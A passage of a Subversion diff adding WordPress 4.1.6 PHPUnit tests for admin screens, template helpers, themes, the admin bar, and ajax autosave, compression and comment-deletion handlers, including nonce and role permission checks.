+			$GLOBALS['taxnow'] = $GLOBALS['typenow'] = '';
+			$screen = (object) $screen;
+			$hook = parse_url( $hook_name );
+
+			if ( ! empty( $hook['query'] ) ) {
+				$args = wp_parse_args( $hook['query'] );
+				if ( isset( $args['taxonomy'] ) )
+					$GLOBALS['taxnow'] = $_GET['taxonomy'] = $_POST['taxonomy'] = $_REQUEST['taxonomy'] = $args['taxonomy'];
+				if ( isset( $args['post_type'] ) )
+					$GLOBALS['typenow'] = $_GET['post_type'] = $_POST['post_type'] = $_REQUEST['post_type'] = $args['post_type'];
+				else if ( isset( $screen->post_type ) )
+					$GLOBALS['typenow'] = $_GET['post_type'] = $_POST['post_type'] = $_REQUEST['post_type'] = $screen->post_type;
+			}
+
+			$GLOBALS['hook_suffix'] = $hook['path'];
+			set_current_screen();
+
+			$this->assertEquals( $screen->id, $current_screen->id, $hook_name );
+			$this->assertEquals( $screen->base, $current_screen->base, $hook_name );
+			if ( isset( $screen->action ) )
+				$this->assertEquals( $screen->action, $current_screen->action, $hook_name );
+			if ( isset( $screen->post_type ) )
+				$this->assertEquals( $screen->post_type, $current_screen->post_type, $hook_name );
+			else
+				$this->assertEmpty( $current_screen->post_type, $hook_name );
+			if ( isset( $screen->taxonomy ) )
+				$this->assertEquals( $screen->taxonomy, $current_screen->taxonomy, $hook_name );
+
+			$this->assertTrue( $current_screen->in_admin() );
+			$this->assertTrue( $current_screen->in_admin( 'site' ) );
+			$this->assertFalse( $current_screen->in_admin( 'network' ) );
+			$this->assertFalse( $current_screen->in_admin( 'user' ) );
+			$this->assertFalse( $current_screen->in_admin( 'garbage' ) );
+
+			// With convert_to_screen(), the same ID should return the exact $current_screen.
+			$this->assertSame( $current_screen, convert_to_screen( $screen->id ), $hook_name );
+
+			// With convert_to_screen(), the hook_suffix should return the exact $current_screen.
+			// But, convert_to_screen() cannot figure out ?taxonomy and ?post_type.
+			if ( empty( $hook['query'] ) )
+				$this->assertSame( $current_screen, convert_to_screen( $GLOBALS['hook_suffix'] ), $hook_name );
+		}
+	}
+
+	function test_post_type_as_hookname() {
+		$screen = convert_to_screen( 'page' );
+		$this->assertEquals( $screen->post_type, 'page' );
+		$this->assertEquals( $screen->base, 'post' );
+		$this->assertEquals( $screen->id, 'page' );
+	}
+
+	function test_post_type_with_special_suffix_as_hookname() {
+		register_post_type( 'value-add' );
+		$screen = convert_to_screen( 'value-add' ); // the -add part is key.
+		$this->assertEquals( $screen->post_type, 'value-add' );
+		$this->assertEquals( $screen->base, 'post' );
+		$this->assertEquals( $screen->id, 'value-add' );
+
+		$screen = convert_to_screen( 'edit-value-add' ); // the -add part is key.
+		$this->assertEquals( $screen->post_type, 'value-add' );
+		$this->assertEquals( $screen->base, 'edit' );
+		$this->assertEquals( $screen->id, 'edit-value-add' );
+	}
+
+	function test_taxonomy_with_special_suffix_as_hookname() {
+		register_taxonomy( 'old-or-new', 'post' );
+		$screen = convert_to_screen( 'edit-old-or-new' ); // the -new part is key.
+		$this->assertEquals( $screen->taxonomy, 'old-or-new' );
+		$this->assertEquals( $screen->base, 'edit-tags' );
+		$this->assertEquals( $screen->id, 'edit-old-or-new' );
+	}
+
+	function test_post_type_with_edit_prefix() {
+		register_post_type( 'edit-some-thing' );
+		$screen = convert_to_screen( 'edit-some-thing' );
+		$this->assertEquals( $screen->post_type, 'edit-some-thing' );
+		$this->assertEquals( $screen->base, 'post' );
+		$this->assertEquals( $screen->id, 'edit-some-thing' );
+
+		$screen = convert_to_screen( 'edit-edit-some-thing' );
+		$this->assertEquals( $screen->post_type, 'edit-some-thing' );
+		$this->assertEquals( $screen->base, 'edit' );
+		$this->assertEquals( $screen->id, 'edit-edit-some-thing' );
+	}
+
+	function test_post_type_edit_collisions() {
+		register_post_type( 'comments' );
+		register_post_type( 'tags' );
+
+		// Sorry, core wins here.
+		$screen = convert_to_screen( 'edit-comments' );
+		$this->assertEquals( $screen->base, 'edit-comments' );
+
+		// The post type wins here. convert_to_screen( $post_type ) is only relevant for meta boxes anyway.
+		$screen = convert_to_screen( 'comments' );
+		$this->assertEquals( $screen->base, 'post' );
+
+		// Core wins.
+		$screen = convert_to_screen( 'edit-tags' );
+		$this->assertEquals( $screen->base, 'edit-tags' );
+
+		$screen = convert_to_screen( 'tags' );
+		$this->assertEquals( $screen->base, 'post' );
+	}
+
+	function test_help_tabs() {
+		$tab = rand_str();
+		$tab_args = array(
+			'id' => $tab,
+			'title' => 'Help!',
+			'content' => 'Some content',
+			'callback' => false,
+		);
+
+		$screen = get_current_screen();
+		$screen->add_help_tab( $tab_args );
+		$this->assertEquals( $screen->get_help_tab( $tab ), $tab_args );
+
+		$tabs = $screen->get_help_tabs();
+		$this->assertArrayHasKey( $tab, $tabs );
+
+		$screen->remove_help_tab( $tab );
+		$this->assertNull( $screen->get_help_tab( $tab ) );
+
+		$screen->remove_help_tabs();
+		$this->assertEquals( $screen->get_help_tabs(), array() );
+	}
+
+	/**
+	 * @ticket 25799
+	 */
+	function test_options() {
+		$option = rand_str();
+		$option_args = array(
+			'label'   => 'Option',
+			'default' => 10,
+			'option'  => $option
+		);
+
+		$screen = get_current_screen();
+
+		$screen->add_option( $option, $option_args );
+		$this->assertEquals( $screen->get_option( $option ), $option_args );
+
+		$options = $screen->get_options();
+		$this->assertArrayHasKey( $option, $options );
+
+		$screen->remove_option( $option );
+		$this->assertNull( $screen->get_option( $option ) );
+
+		$screen->remove_options();
+		$this->assertEquals( $screen->get_options(), array() );
+	}
+
+	function test_in_admin() {
+		$screen = get_current_screen();
+
+		set_current_screen( 'edit.php' );
+		$this->assertTrue( get_current_screen()->in_admin() );
+		$this->assertTrue( get_current_screen()->in_admin( 'site' ) );
+		$this->assertFalse( get_current_screen()->in_admin( 'network' ) );
+		$this->assertFalse( get_current_screen()->in_admin( 'user' ) );
+
+		set_current_screen( 'dashboard-network' );
+		$this->assertTrue( get_current_screen()->in_admin() );
+		$this->assertFalse( get_current_screen()->in_admin( 'site' ) );
+		$this->assertTrue( get_current_screen()->in_admin( 'network' ) );
+		$this->assertFalse( get_current_screen()->in_admin( 'user' ) );
+
+		set_current_screen( 'dashboard-user' );
+		$this->assertTrue( get_current_screen()->in_admin() );
+		$this->assertFalse( get_current_screen()->in_admin( 'site' ) );
+		$this->assertFalse( get_current_screen()->in_admin( 'network' ) );
+		$this->assertTrue( get_current_screen()->in_admin( 'user' ) );
+
+		set_current_screen( 'front' );
+		$this->assertFalse( get_current_screen()->in_admin() );
+		$this->assertFalse( get_current_screen()->in_admin( 'site' ) );
+		$this->assertFalse( get_current_screen()->in_admin( 'network' ) );
+		$this->assertFalse( get_current_screen()->in_admin( 'user' ) );
+
+		$GLOBALS['current_screen'] = $screen;
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/admin/includesTemplate.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/admin/includesTemplate.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/admin/includesTemplate.php	(revision 33402)
@@ -0,0 +1,48 @@
+<?php
+/**
+ * @group admin
+ */
+class Tests_Admin_includesTemplate extends WP_UnitTestCase {
+	function test_equal() {
+		$this->assertEquals(' selected=\'selected\'', selected('foo','foo',false));
+		$this->assertEquals(' checked=\'checked\'', checked('foo','foo',false));
+
+		$this->assertEquals(' selected=\'selected\'', selected('1',1,false));
+		$this->assertEquals(' checked=\'checked\'', checked('1',1,false));
+
+		$this->assertEquals(' selected=\'selected\'', selected('1',true,false));
+		$this->assertEquals(' checked=\'checked\'', checked('1',true,false));
+
+		$this->assertEquals(' selected=\'selected\'', selected(1,1,false));
+		$this->assertEquals(' checked=\'checked\'', checked(1,1,false));
+
+		$this->assertEquals(' selected=\'selected\'', selected(1,true,false));
+		$this->assertEquals(' checked=\'checked\'', checked(1,true,false));
+
+		$this->assertEquals(' selected=\'selected\'', selected(true,true,false));
+		$this->assertEquals(' checked=\'checked\'', checked(true,true,false));
+
+		$this->assertEquals(' selected=\'selected\'', selected('0',0,false));
+		$this->assertEquals(' checked=\'checked\'', checked('0',0,false));
+
+		$this->assertEquals(' selected=\'selected\'', selected(0,0,false));
+		$this->assertEquals(' checked=\'checked\'', checked(0,0,false));
+
+		$this->assertEquals(' selected=\'selected\'', selected('',false,false));
+		$this->assertEquals(' checked=\'checked\'', checked('',false,false));
+
+		$this->assertEquals(' selected=\'selected\'', selected(false,false,false));
+		$this->assertEquals(' checked=\'checked\'', checked(false,false,false));
+	}
+
+	function test_notequal() {
+		$this->assertEquals('', selected('0','',false));
+		$this->assertEquals('', checked('0','',false));
+
+		$this->assertEquals('', selected(0,'',false));
+		$this->assertEquals('', checked(0,'',false));
+
+		$this->assertEquals('', selected(0,false,false));
+		$this->assertEquals('', checked(0,false,false));
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/admin/includesTheme.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/admin/includesTheme.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/admin/includesTheme.php	(revision 33402)
@@ -0,0 +1,68 @@
+<?php
+/**
+ * @group themes
+ */
+class Tests_Admin_includesTheme extends WP_UnitTestCase {
+
+	function setUp() {
+		parent::setUp();
+		$this->theme_root = DIR_TESTDATA . '/themedir1';
+
+		$this->orig_theme_dir = $GLOBALS['wp_theme_directories'];
+		$GLOBALS['wp_theme_directories'] = array( WP_CONTENT_DIR . '/themes', $this->theme_root );
+
+		add_filter('theme_root', array($this, '_theme_root'));
+		add_filter( 'stylesheet_root', array($this, '_theme_root') );
+		add_filter( 'template_root', array($this, '_theme_root') );
+
+		// clear caches
+		wp_clean_themes_cache();
+		unset( $GLOBALS['wp_themes'] );
+	}
+
+	function tearDown() {
+		$GLOBALS['wp_theme_directories'] = $this->orig_theme_dir;
+		remove_filter('theme_root', array($this, '_theme_root'));
+		remove_filter( 'stylesheet_root', array($this, '_theme_root') );
+		remove_filter( 'template_root', array($this, '_theme_root') );
+
+		wp_clean_themes_cache();
+		unset( $GLOBALS['wp_themes'] );
+		parent::tearDown();
+	}
+
+	// replace the normal theme root dir with our premade test dir
+	function _theme_root($dir) {
+		return $this->theme_root;
+	}
+
+	/**
+	 * @ticket 10959
+	 * @ticket 11216
+	 * @expectedDeprecated get_theme
+	 * @expectedDeprecated get_themes
+	 */
+	function test_page_templates() {
+		$theme = get_theme( 'Page Template Theme' );
+		$this->assertNotEmpty( $theme );
+
+		switch_theme( $theme['Template'], $theme['Stylesheet'] );
+
+		$templates = get_page_templates();
+		$this->assertCount( 3, $templates );
+		$this->assertEquals( "template-top-level.php", $templates['Top Level'] );
+		$this->assertEquals( "subdir/template-sub-dir.php", $templates['Sub Dir'] );
+		$this->assertEquals( "template-header.php", $templates['This Template Header Is On One Line'] );
+
+		$theme = wp_get_theme( 'page-templates' );
+		$this->assertNotEmpty( $theme );
+
+		switch_theme( $theme['Template'], $theme['Stylesheet'] );
+
+		$templates = get_page_templates();
+		$this->assertCount( 3, $templates );
+		$this->assertEquals( "template-top-level.php", $templates['Top Level'] );
+		$this->assertEquals( "subdir/template-sub-dir.php", $templates['Sub Dir'] );
+		$this->assertEquals( "template-header.php", $templates['This Template Header Is On One Line'] );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/adminbar.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/adminbar.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/adminbar.php	(revision 33402)
@@ -0,0 +1,64 @@
+<?php
+
+/**
+ * @group admin-bar
+ * @group toolbar
+ * @group admin
+ */
+class Tests_AdminBar extends WP_UnitTestCase {
+
+	static function setUpBeforeClass() {
+		WP_UnitTestCase::setUpBeforeClass();
+		require_once ABSPATH . WPINC . '/class-wp-admin-bar.php';
+	}
+
+	function setUp() {
+		parent::setUp();
+		$this->current_user = get_current_user_id();
+		wp_set_current_user( $this->factory->user->create( array( 'role' => 'editor' ) ) );
+	}
+
+	function tearDown() {
+		wp_set_current_user( $this->current_user );
+		parent::tearDown();
+	}
+
+	/**
+	 * @ticket 21117
+	 */
+	function test_content_post_type() {
+		register_post_type( 'content', array( 'show_in_admin_bar' => true ) );
+
+		$admin_bar = new WP_Admin_Bar;
+
+		wp_admin_bar_new_content_menu( $admin_bar );
+
+		$nodes = $admin_bar->get_nodes();
+		$this->assertFalse( $nodes['new-content']->parent );
+		$this->assertEquals( 'new-content', $nodes['add-new-content']->parent );
+
+		_unregister_post_type( 'content' );
+	}
+
+	/**
+	 * @ticket 21117
+	 */
+	function test_merging_existing_meta_values() {
+		$admin_bar = new WP_Admin_Bar;
+
+		$admin_bar->add_node( array(
+			'id' => 'test-node',
+			'meta' => array( 'class' => 'test-class' ),
+		) );
+		$node = $admin_bar->get_node( 'test-node' );
+		$this->assertEquals( array( 'class' => 'test-class' ), $node->meta );
+
+		$admin_bar->add_node( array(
+			'id' => 'test-node',
+			'meta' => array( 'some-meta' => 'value' ),
+		) );
+
+		$node = $admin_bar->get_node( 'test-node' );
+		$this->assertEquals( array( 'class' => 'test-class', 'some-meta' => 'value' ), $node->meta );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/ajax/Autosave.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/ajax/Autosave.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/ajax/Autosave.php	(revision 33402)
@@ -0,0 +1,180 @@
+<?php
+
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing ajax save draft functionality
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ * @group      ajax
+ * @runTestsInSeparateProcesses
+ */
+class Tests_Ajax_Autosave extends WP_Ajax_UnitTestCase {
+
+	/**
+	 * Post
+	 * @var mixed
+	 */
+	protected $_post = null;
+
+	/**
+	 * user_id
+	 * @var int
+	 */
+	protected $user_id = 0;
+
+	/**
+	 * Set up the test fixture
+	 */
+	public function setUp() {
+		parent::setUp();
+		// Set a user so the $post has 'post_author'
+		$this->user_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+		wp_set_current_user( $this->user_id );
+
+		$post_id = $this->factory->post->create( array( 'post_status' => 'draft' ) );
+		$this->_post = get_post( $post_id );
+	}
+
+	/**
+	 * Tear down the test fixture.
+	 * Reset the current user
+	 */
+	public function tearDown() {
+		wp_set_current_user( 0 );
+		parent::tearDown();
+	}
+
+	/**
+	 * Test autosaving a post
+	 * @return void
+	 */
+	public function test_autosave_post() {
+		// The original post_author
+		wp_set_current_user( $this->user_id );
+
+		// Set up the $_POST request
+		$md5 = md5( uniqid() );
+		$_POST = array(
+			'action' =>	'heartbeat',
+			'_nonce' => wp_create_nonce( 'heartbeat-nonce' ),
+			'data' => array(
+				'wp_autosave' => array(
+				    'post_id'       => $this->_post->ID,
+				    '_wpnonce'      => wp_create_nonce( 'update-post_' . $this->_post->ID ),
+				    'post_content'  => $this->_post->post_content . PHP_EOL . $md5,
+					'post_type'     => 'post',
+				),
+			),
+		);
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'heartbeat' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response, it is in heartbeat's response
+		$response = json_decode( $this->_last_response, true );
+
+		// Ensure everything is correct
+		$this->assertNotEmpty( $response['wp_autosave'] );
+		$this->assertTrue( $response['wp_autosave']['success'] );
+
+		// Check that the edit happened
+		$post = get_post( $this->_post->ID );
+		$this->assertGreaterThanOrEqual( 0, strpos( $post->post_content, $md5 ) );
+	}
+	
+	/**
+	 * Test autosaving a locked post
+	 * @return void
+	 */
+	public function test_autosave_locked_post() {
+		// Lock the post to another user
+		$another_user_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+		wp_set_current_user( $another_user_id );
+		wp_set_post_lock( $this->_post->ID );
+
+		wp_set_current_user( $this->user_id );
+
+		// Ensure post is locked
+		$this->assertEquals( $another_user_id, wp_check_post_lock( $this->_post->ID ) );
+
+		// Set up the $_POST request
+		$md5 = md5( uniqid() );
+		$_POST = array(
+			'action' =>	'heartbeat',
+			'_nonce' => wp_create_nonce( 'heartbeat-nonce' ),
+			'data' => array(
+				'wp_autosave' => array(
+				    'post_id'       => $this->_post->ID,
+				    '_wpnonce'      => wp_create_nonce( 'update-post_' . $this->_post->ID ),
+				    'post_content'  => $this->_post->post_content . PHP_EOL . $md5,
+					'post_type'     => 'post',
+				),
+			),
+		);
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'heartbeat' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		$response = json_decode( $this->_last_response, true );
+
+		// Ensure everything is correct
+		$this->assertNotEmpty( $response['wp_autosave'] );
+		$this->assertTrue( $response['wp_autosave']['success'] );
+
+		// Check that the original post was NOT edited
+		$post = get_post( $this->_post->ID );
+		$this->assertFalse( strpos( $post->post_content, $md5 ) );
+
+		// Check if the autosave post was created
+		$autosave = wp_get_post_autosave( $this->_post->ID, get_current_user_id() );
+		$this->assertNotEmpty( $autosave );
+		$this->assertGreaterThanOrEqual( 0, strpos( $autosave->post_content, $md5 ) );
+	}
+
+	/**
+	 * Test with an invalid nonce
+	 * @return void
+	 */
+	public function test_with_invalid_nonce( ) {
+
+		wp_set_current_user( $this->user_id );
+
+		// Set up the $_POST request
+		$_POST = array(
+			'action' =>	'heartbeat',
+			'_nonce' => wp_create_nonce( 'heartbeat-nonce' ),
+			'data' => array(
+				'wp_autosave' => array(
+				    'post_id'  => $this->_post->ID,
+				    '_wpnonce' => substr( md5( uniqid() ), 0, 10 ),
+				),
+			),
+		);
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'heartbeat' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		$response = json_decode( $this->_last_response, true );
+
+		$this->assertNotEmpty( $response['wp_autosave'] );
+		$this->assertFalse( $response['wp_autosave']['success'] );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/ajax/Compression.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/ajax/Compression.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/ajax/Compression.php	(revision 33402)
@@ -0,0 +1,198 @@
+<?php
+
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing ajax compression test functionality
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ * @group      ajax
+ * @runTestsInSeparateProcesses
+ */
+class Tests_Ajax_CompressionTest extends WP_Ajax_UnitTestCase {
+
+	/**
+	 * Test as a logged out user
+	 */
+	public function test_logged_out() {
+		$this->logout();
+
+		// Set up a default request
+		$_GET['test'] = 1;
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '0' );
+		$this->_handleAjax( 'wp-compression-test' );
+	}
+
+	/**
+	 * Fetch the test text
+	 */
+	public function test_text() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_GET['test'] = 1;
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'wp-compression-test' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Ensure we found the right match
+		$this->assertContains( 'wpCompressionTest', $this->_last_response );
+	}
+
+	/**
+	 * Fetch the test text (gzdeflate)
+	 */
+	public function test_gzdeflate() {
+
+		if ( !function_exists( 'gzdeflate' ) ) {
+			$this->markTestSkipped( 'gzdeflate function not available' );
+		}
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_GET['test'] = 2;
+		$_SERVER['HTTP_ACCEPT_ENCODING'] = 'deflate';
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'wp-compression-test' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Ensure we found the right match
+		$this->assertContains( 'wpCompressionTest', gzinflate( $this->_last_response ) );
+	}
+
+	/**
+	 * Fetch the test text (gzencode)
+	 */
+	public function test_gzencode() {
+
+		if ( !function_exists('gzencode') ) {
+			$this->markTestSkipped( 'gzencode function not available' );
+		}
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_GET['test'] = 2;
+		$_SERVER['HTTP_ACCEPT_ENCODING'] = 'gzip';
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'wp-compression-test' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Ensure we found the right match
+		$this->assertContains( 'wpCompressionTest', $this->_gzdecode( $this->_last_response ) );
+	}
+
+	/**
+	 * Fetch the test text (unknown encoding)
+	 */
+	public function test_unknown_encoding() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_GET['test'] = 2;
+		$_SERVER['HTTP_ACCEPT_ENCODING'] = 'unknown';
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'wp-compression-test' );
+	}
+
+	/**
+	 * Set the 'can_compress_scripts' site option to true
+	 */
+	public function test_set_yes() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_GET['test'] = 'yes';
+
+		// Set the option to false
+		update_site_option( 'can_compress_scripts', 0 );
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'wp-compression-test' );
+		} catch ( WPAjaxDieStopException $e ) {
+			unset( $e );
+		}
+
+		// Check the site option
+		$this->assertEquals( 1, get_site_option( 'can_compress_scripts' ) );
+	}
+
+	/**
+	 * Set the 'can_compress_scripts' site option to false
+	 */
+	public function test_set_no() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_GET['test'] = 'no';
+
+		// Set the option to true
+		update_site_option( 'can_compress_scripts', 1 );
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'wp-compression-test' );
+		} catch ( WPAjaxDieStopException $e ) {
+			unset( $e );
+		}
+
+		// Check the site option
+		$this->assertEquals( 0, get_site_option( 'can_compress_scripts' ) );
+	}
+
+	/**
+	 * Undo gzencode.  This is ugly, but there's no stock gzdecode() function.
+	 * @param string $encoded_data
+	 * @return string
+	 */
+	protected function _gzdecode( $encoded_data ) {
+
+		// Save the encoded data to a temp file
+		$file = wp_tempnam( 'gzdecode' );
+		file_put_contents( $file, $encoded_data );
+
+		// Flush it to the output buffer and delete the temp file
+		ob_start();
+		readgzfile( $file );
+		unlink( $file );
+
+		// Save the data stop buffering
+		$data = ob_get_clean();
+
+		// Done
+		return $data;
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/ajax/DeleteComment.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/ajax/DeleteComment.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/ajax/DeleteComment.php	(revision 33402)
@@ -0,0 +1,355 @@
+<?php
+
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing ajax comment functionality
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ * @group      ajax
+ */
+class Tests_Ajax_DeleteComment extends WP_Ajax_UnitTestCase {
+
+	/**
+	 * List of comments
+	 * @var array
+	 */
+	protected $_comments = array();
+
+	/**
+	 * Set up the test fixture
+	 */
+	public function setUp() {
+		parent::setUp();
+		$post_id = $this->factory->post->create();
+		$this->_comments = $this->factory->comment->create_post_comments( $post_id, 15 );
+		$this->_comments = array_map( 'get_comment', $this->_comments );
+	}
+
+	/**
+	 * Clear the POST actions in between requests
+	 */
+	protected function _clear_post_action() {
+		unset($_POST['trash']);
+		unset($_POST['untrash']);
+		unset($_POST['spam']);
+		unset($_POST['unspam']);
+		unset($_POST['delete']);
+		$this->_last_response = '';
+	}
+
+	/***********************************************************/
+	/** Test prototype
+    /***********************************************************/
+
+	/**
+	 * Test as a privilged user (administrator)
+	 * Expects test to pass
+	 * @param mixed $comment Comment object
+	 * @param string action trash, untrash, etc.
+	 * @return void
+	 */
+	public function _test_as_admin( $comment, $action ) {
+
+		// Reset request
+		$this->_clear_post_action();
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_POST['id']          = $comment->comment_ID;
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'delete-comment_' . $comment->comment_ID );
+		$_POST[$action]       = 1;
+		$_POST['_total']      = count( $this->_comments );
+		$_POST['_per_page']   = 100;
+		$_POST['_page']       = 1;
+		$_POST['_url']        = admin_url( 'edit-comments.php' );
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'delete-comment' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response
+		$xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA );
+
+		// Ensure everything is correct
+		$this->assertEquals( $comment->comment_ID, (string) $xml->response[0]->comment['id'] );
+		$this->assertEquals( 'delete-comment_' . $comment->comment_ID, (string) $xml->response['action'] );
+		$this->assertGreaterThanOrEqual( time() - 10, (int) $xml->response[0]->comment[0]->supplemental[0]->time[0] );
+		$this->assertLessThanOrEqual( time(), (int) $xml->response[0]->comment[0]->supplemental[0]->time[0] );
+
+		// trash, spam, delete should make the total go down
+		if ( in_array( $action, array( 'trash', 'spam', 'delete' ) ) ) {
+			$total = $_POST['_total'] - 1;
+
+		// unspam, untrash should make the total go up
+		} elseif ( in_array( $action, array( 'untrash', 'unspam' ) ) ) {
+			$total = $_POST['_total'] + 1;
+		}
+
+		// The total is calculated based on a page break -OR- a random number.  Let's look for both possible outcomes
+		$comment_count = wp_count_comments( 0 );
+		$recalc_total = $comment_count->total_comments;
+
+		// Check for either possible total
+		$this->assertTrue( in_array( (int) $xml->response[0]->comment[0]->supplemental[0]->total[0] , array( $total, $recalc_total ) ) );
+	}
+
+	/**
+	 * Test as a non-privileged user (subscriber)
+	 * Expects test to fail
+	 * @param mixed $comment Comment object
+	 * @param string action trash, untrash, etc.
+	 * @return void
+	 */
+	public function _test_as_subscriber( $comment, $action ) {
+
+		// Reset request
+		$this->_clear_post_action();
+
+		// Become a subscriber
+		$this->_setRole( 'subscriber' );
+
+		// Set up the $_POST request
+		$_POST['id']          = $comment->comment_ID;
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'delete-comment_' . $comment->comment_ID );
+		$_POST[$action]       = 1;
+		$_POST['_total']      = count( $this->_comments );
+		$_POST['_per_page']   = 100;
+		$_POST['_page']       = 1;
+		$_POST['_url']        = admin_url( 'edit-comments.php' );
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'delete-comment' );
+	}
+
+
+	/**
+	 * Test with a bad nonce
+	 * Expects test to fail
+	 * @param mixed $comment Comment object
+	 * @param string action trash, untrash, etc.
+	 * @return void
+	 */
+	public function _test_with_bad_nonce( $comment, $action ) {
+
+		// Reset request
+		$this->_clear_post_action();
+
+		// Become a subscriber
+		$this->_setRole( 'administrator' );
+
+		// Set up the $_POST request
+		$_POST['id']          = $comment->comment_ID;
+		$_POST['_ajax_nonce'] = wp_create_nonce( uniqid() );
+		$_POST[$action]       = 1;
+		$_POST['_total']      = count( $this->_comments );
+		$_POST['_per_page']   = 100;
+		$_POST['_page']       = 1;
+		$_POST['_url']        = admin_url( 'edit-comments.php' );
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'delete-comment' );
+	}
+
+	/**
+	 * Test with a bad id
+	 * Expects test to fail
+	 * @param mixed $comment Comment object
+	 * @param string action trash, untrash, etc.
+	 * @return void
+	 */
+	public function _test_with_bad_id( $comment, $action ) {
+
+		// Reset request
+		$this->_clear_post_action();
+
+		// Become a subscriber
+		$this->_setRole( 'administrator' );
+
+		// Set up the $_POST request
+		$_POST['id']          = 12346789;
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'delete-comment_12346789' );
+		$_POST[$action]       = 1;
+		$_POST['_total']      = count( $this->_comments );
+		$_POST['_per_page']   = 100;
+		$_POST['_page']       = 1;
+		$_POST['_url']        = admin_url( 'edit-comments.php' );
+
+		// Make the request, look for a timestamp in the exception
+		try {
+			$this->_handleAjax( 'delete-comment' );
+			$this->fail( 'Expected exception: WPAjaxDieStopException' );
+		} catch ( WPAjaxDieStopException $e ) {
+			$this->assertEquals( 10, strlen( $e->getMessage() ) );
+			$this->assertTrue( is_numeric( $e->getMessage() ) );
+		} catch ( Exception $e ) {
+			$this->fail( 'Unexpected exception type: ' . get_class( $e ) );
+		}
+	}
+
+	/**
+	 * Test doubling the action (e.g. trash a trashed comment)
+	 * Expects test to fail
+	 * @param mixed $comment Comment object
+	 * @param string action trash, untrash, etc.
+	 * @return void
+	 */
+	public function _test_double_action( $comment, $action ) {
+
+		// Reset request
+		$this->_clear_post_action();
+
+		// Become a subscriber
+		$this->_setRole( 'administrator' );
+
+		// Set up the $_POST request
+		$_POST['id']          = $comment->comment_ID;
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'delete-comment_' . $comment->comment_ID );
+		$_POST[$action]       = 1;
+		$_POST['_total']      = count( $this->_comments );
+		$_POST['_per_page']   = 100;
+		$_POST['_page']       = 1;
+		$_POST['_url']        = admin_url( 'edit-comments.php' );
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'delete-comment' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+		$this->_last_response = '';
+
+		// Force delete the comment
+		if ( 'delete' == $action ) {
+			wp_delete_comment( $comment->comment_ID, true );
+		}
+
+		// Make the request again, look for a timestamp in the exception
+		try {
+			$this->_handleAjax( 'delete-comment' );
